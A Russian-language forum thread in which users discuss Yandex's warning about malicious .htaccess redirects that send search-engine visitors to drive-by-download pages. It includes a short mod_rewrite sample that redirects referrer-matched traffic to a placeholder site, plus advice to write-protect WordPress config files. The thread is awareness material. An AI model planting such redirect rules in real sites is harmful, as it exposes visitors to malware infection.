Несколько дней назад команда поисковика Яндекс напомнила пользователям об одном из способов заражения, который достаточно древен, но все еще успешно работает. Яндекс имел ввиду вредоносный редирект, который настраивают при помощи файла .htacess. К примеру, пользователи заходят на сайт через поиск или социальную сеть, т.е. перенаправляются на новую страницу. А эта страница выполняет drive-by-download атаку. Если на сайт зашел вбемастер, то он не перенаправляется. Выше упомянутый файл часто переписывает вредоносный серверный скрипт, поэтому перенаправляются пользователи на разные страницы.

Безопасный поиск заметил, что кроме этого расширения есть и другие похожие конфигурации, которые делают сайт частью распространения вредоносных кодов. В них очень часто специально применяют очень сложные языки настройки. Если ошибиться при изменении такого файла, то из строя можно вывести весь веб-сервер. Вебмастера не всегда имеют право изменять или читать эти файлы.

Команда Безопасного Поиска часто рассказывает о возможных вредоносных кодах и методах борьбы с ними. До этого Яндекс уже предупреждал о системе traffbiz.ru, редиректора osa.pl и опасном вредоносителе Mal/Iframe-X.

Report | Reply

охринеть до чего дошел прогресс ) А кусочек этого вредоносного кода можно показать?

Report | Reply

Тоже бы хотелось узнать примеры вот таких вредоносных кодов в файле htaccess

Report | Reply

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} yandex\.ru.+$
RewriteCond %{HTTP_REFERER} google.+$
RewriteCond %{HTTP_REFERER} aol.+$
RewriteCond %{HTTP_REFERER} msn.+$
RewriteCond %{HTTP_REFERER} yahoo.+$
RewriteCond %{HTTP_REFERER} ya.+$
RewriteCond %{HTTP_REFERER} rambler.+$

RewriteRule .* http://сайт.ru/
</IfModule>

Edited integer ( 16:41:36)

Report | Reply

Да делают еще проще взламывают блоги и подобный скрипт перенаправления прописывают в файле вп конфиг, у самого такое было. Так что если у вас вп не забывайте ставить запрет на запись в данном файле

Report | Reply